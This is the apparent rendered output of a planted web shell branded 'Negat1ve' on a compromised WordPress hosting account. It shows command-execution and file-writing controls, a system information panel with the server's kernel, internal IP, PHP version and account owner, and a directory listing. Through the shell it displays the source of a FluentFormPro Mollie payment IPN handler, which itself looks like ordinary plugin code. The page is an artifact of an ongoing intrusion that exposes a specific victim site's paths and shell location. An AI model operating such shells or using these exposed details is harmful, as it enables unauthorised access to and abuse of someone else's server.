Linux webm017.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
10.127.20.17
/
home
/
m
/
a
/
t
/
matisecojj
/
www
/
wp-content
/
plugins
/
fluentformpro
/
src
/
Payments
/
PaymentMethods
/
Mollie
/
API
[ HOME ]
Exec
Submit
IPN.php
<?php namespace FluentFormPro\Payments\PaymentMethods\Mollie\API; if (!defined('ABSPATH')) { exit; // Exit if accessed directly. } use FluentForm\Framework\Helpers\ArrayHelper; use FluentFormPro\Payments\PaymentMethods\Mollie\MollieSettings; use FluentFormPro\Payments\PaymentMethods\PayPal\PayPalSettings; class IPN { public function verifyIPN() { // Check the request method is POST if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] != 'POST') { return; } // Set initial post data to empty string $post_data = ''; // Fallback just in case post_max_size is lower than needed if (ini_get('allow_url_fopen')) { $post_data = file_get_contents('php://input'); } else { // If allow_url_fopen is not enabled, then make sure that post_max_size is large enough ini_set('post_max_size', '12M'); } // Start the encoded data collection with notification command $encoded_data = 'cmd=_notify-validate'; // Get current arg separator $arg_separator = ini_get('arg_separator.output'); // Verify there is a post_data if ($post_data || strlen($post_data) > 0) { // Append the data $encoded_data .= $arg_separator . $post_data; } else { // Check if POST is empty if (empty($_POST)) { // Nothing to do return; } else { // Loop through each POST foreach ($_POST as $key => $value) { // Encode the value and append the data $encoded_data .= $arg_separator . "$key=" . urlencode($value); } } } // Convert collected post data to an array parse_str($encoded_data, $encoded_data_array); foreach ($encoded_data_array as $key => $value) { if (false !== strpos($key, 'amp;')) { $new_key = str_replace('&', '&', $key); $new_key = str_replace('amp;', '&', $new_key); unset($encoded_data_array[$key]); $encoded_data_array[$new_key] = $value; } } $defaults = $_REQUEST; $encoded_data_array = wp_parse_args($encoded_data_array, $defaults); $this->handleIpn($encoded_data_array); exit(200); } protected function handleIpn($data) { $submissionId = intval(ArrayHelper::get($data, 'submission_id')); if (!$submissionId || empty($data['id'])) { return; } $submission = wpFluent()->table('fluentform_submissions')->where('id', $submissionId)->first(); if (!$submission) { return; } $vendorTransaction = $this->makeApiCall('payments/'.$data['id'], [], $submission->form_id, 'GET'); if(is_wp_error($vendorTransaction)) { $logData = [ 'parent_source_id' => $submission->form_id, 'source_type' => 'submission_item', 'source_id' => $submission->id, 'component' => 'Payment', 'status' => 'error', 'title' => __('Mollie Payment Webhook Error', 'fluentformpro'), 'description' => $vendorTransaction->get_error_message() ]; do_action('fluentform/log_data', $logData); return false; } $status = $vendorTransaction['status']; // Handle refunds first $refundedAmount = $refundAmount = ArrayHelper::get($vendorTransaction, 'amountRefunded.value'); if (intval($refundedAmount)) { $refundAmount = intval($refundAmount * 100); // in cents do_action('fluentform/ipn_mollie_action_refunded', $refundAmount, $submission, $vendorTransaction, $data); } else { // Only process payment status other than refund do_action('fluentform/ipn_mollie_action_' . $status, $submission, $vendorTransaction, $data); } } public function makeApiCall($path, $args, $formId, $method = 'GET') { $apiKey = MollieSettings::getApiKey($formId); $headers = [ 'Authorization' => 'Bearer ' . $apiKey ]; if($method == 'POST') { $response = wp_remote_post('https://api.mollie.com/v2/'.$path, [ 'headers' => $headers, 'body' => $args ]); } else { $response = wp_remote_get('https://api.mollie.com/v2/'.$path, [ 'headers' => $headers, 'body' => $args ]); } if(is_wp_error($response)) { return $response; } $body = wp_remote_retrieve_body($response); $responseData = json_decode($body, true); if(empty($responseData['id'])) { $message = ArrayHelper::get($responseData, 'detail'); if(!$message) { $message = ArrayHelper::get($responseData, 'error.message'); } if(!$message) { $message = __('Unknown Mollie API request error', 'fluentformpro'); } return new \WP_Error(423, $message, $responseData); } return $responseData; } }
Submit
Copy
Back
Folder Name
Submit
File Name
File Content
Submit
System Information
Uname > Linux webm017.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 Software > Apache PHP > 8.1.33 Protocol > HTTP/1.1 IP / Port > 10.127.20.17 / 443 Mail > ON Curl > ON Owner > matisecojj MySQL > OFF Disable Function > _dyuweyrj4,_dyuweyrj4r,dl
*ReClick For Close
File : Negat1ve /JFR/.thumb35363/index.php
Name
Type
Size
Owner/Group
Permission
Last Modified
Actions
.
dir
-
matisecojj/users
0755
2026-01-12 02:22:01
..
dir
-
matisecojj/users
0755
2026-01-12 02:22:01
IPN.php
text/x-php
5.26 KB
matisecojj/users
0644
2026-01-12 02:22:01
© Negat1ve